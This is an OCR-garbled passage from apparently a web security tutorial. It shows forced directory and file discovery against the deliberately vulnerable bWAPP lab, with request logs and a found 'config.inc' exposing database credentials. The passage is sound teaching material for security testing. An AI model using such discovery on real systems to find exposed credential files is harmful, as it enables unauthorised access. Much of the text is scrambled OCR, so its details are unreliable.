29/1/20 16:35:38 20/1/20 16:35:39 GET http/192.168.1.166:80/s)guery-1.4.4.min js
2911120 16:35:39 2911120 16:35:39 GET http:/192.168.1.166:80/apps’
2011420 16:35:39 2911420 16:35:38 GET hitp:if192.168.1.166:80ants/
2911120 16:35:39 2911120 16:35:39 GET hitp://192.168.1.166:80/j50n2. /5
29/1/20 16:35:38 20/1/20 16:35:38 GET https//192.168.1.166:80/logs/visitors.txt
2911120 16:35:39 2911120 16:35:39 GET http:if192.168.1.166:801s/xss_ajax_L.js
2071120 16:35:39 2911420 16:35:38 GET hitp:if192.168.1.166:80/cans/
2911120 16:35:39 2911120 16:35:39 GET http://192.168.1.166:80/cans/

Figure 20 — Adding new dictionaries

an

Cadiga
200
200
30z
200
200
200
403
200
200
200
200
200
200
200
200
403
403

Qig

]

bidden

RRRRRRRRIRRR

Forbidden
Forbidden

Escanen actual:1| Nimera de peticiones:2008 { Exportar

o

173bytes
172bytes
172bytes
172bytes
171bytes
171bytes
161bytes
266bytes
172bytes
269bytes
171bytes
172bytes
268bytes
253bytes
266bytes
161bytes
161bytes

se

Tamafio requerido para el cuer
3.160bytes
5.152bytes
Obytes
1.554bytes
940bytes
939bytes
278bytes
2.394bytes
2.310bytes
78.601bytes
943bytes
2.591bytes
17.347bytes
310bytes
2.887bytes
278bytes
278bytes

As detailed in the webinar, the discovery of directories and files through the "Predefined
Navigation" functionality is very useful for identifying unreferenced resources. Sometimes,
these resources allow us to access directories that, by mistake or carelessness, have been
made public and that offer information about the platform, technologies used or any other
type of sensitive data about the configuration of the web service. The following image shows
one of the configuration files identified thanks to one of the dictionaries; the file "config.inc"
located in the root directory. Note that it includes access credentials to a certain database.

[ incia népido | equest @nesponse] F |

(vista raw jw] (0] (Encabezamiento: vista Raw |¥] | cuerpo:vista Raw v| < (]
¥ (5 Contextos 4| [GET http:/7192.168.1.166/confag snc WTTP/1.1 WTTR/L1 208
(2] Contexto predeterminado Dser-Agent WoriTlars 0 (C11: Linu x66_64; rvi60.0) Gacko/ 20100101 Firefox/60.0 Detes e 36 an 2006 15:18,54 67
. ccept toxt/inl. appLacation/sinLoxnl oppLacation/mlae0.5. /10,5 Server: Apaches2.4.41 (Debian)
@ stios P
Accept-Language: on-US, an:q=3.5 Last-Moditied: Thu. 01 Kay 2013 19:51:54 GHT
» b1 hupsuifonts.gstatic.com Cookas: PHPSESSID—ru\qhm;lghl?mFliwl\rgn ETag: “30c-afESbTf312a80
» & P httpssliwww.gstatic.com Connectzon: keep-aliv Accept-Ranges: bytes
Uparase. Insecure. Reguests: 1 Content-Length: 780
» & httpsuvww google.com Wost: 192.168.1.166 Kesp-Alive: timecutss, max=100
v & hitpssigoogleads.g.doubleclick.net ) Connection Keen-Alive
- pagead Marzilla Firefox o0 0
safebrowsing.googleapis.com 192.168 1166/conigine X | +
L9 httpiffdetectportal firefox.com
v G5 hitps:/(192.168.1.166:80 <« (<R @& n 192.168.1.166/config.inc 5] 9 o o =
GETiconflg. . § .
e S\, Kali Linux %, Kali Training %, Kali Tools %, Kali Docs "%, Kali Forums “, NetHunter [f] Offensive Security  Exploit-DB & GHDB [ MSFU
v R hitp192.168.1.166
[ /* GETadmin <7php. -
» apps /e
BNAPP, ar 3 bugqy web spplication, 1% a free and open source deliberstely insecure web spplication
It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities
OMAPP covers all najor known web vulnerabilities, including all risks Fron the OWASP Top 10 project!
0. cerate It is for security-testing and educationsl purposes only.
» Ll documents Enjoy!
/7 GET:documents Jalik Hesellen i
» LR fonts = Twitter: @HE_IT
#" GET:fonts BWAPP is licensed under a Creative Conmons Attribution-NonComercial-NoDerivatives 4.0 International License (http://creativecomnons.org/licensas/by-nc-nd/d.0/). Copyright & 2014 HME BYBA.
-/ GETscons S0 o110 rights reserved.
/' GETimages worf ara ol cuerpo
» Climages 7
) 240 Comaction settings
Ll #* GETjavaccript 2411 §server - “Localhost;
/GETy ¢ hos
ST 2 Lo
) $database = "DNAPP_E
P GETiogin.php
2911
» [1login.phy >
Ay 291
[ /- GETiogs 204
> Lllogs

Figure 21 — Identification of the configuration file "config.inc”
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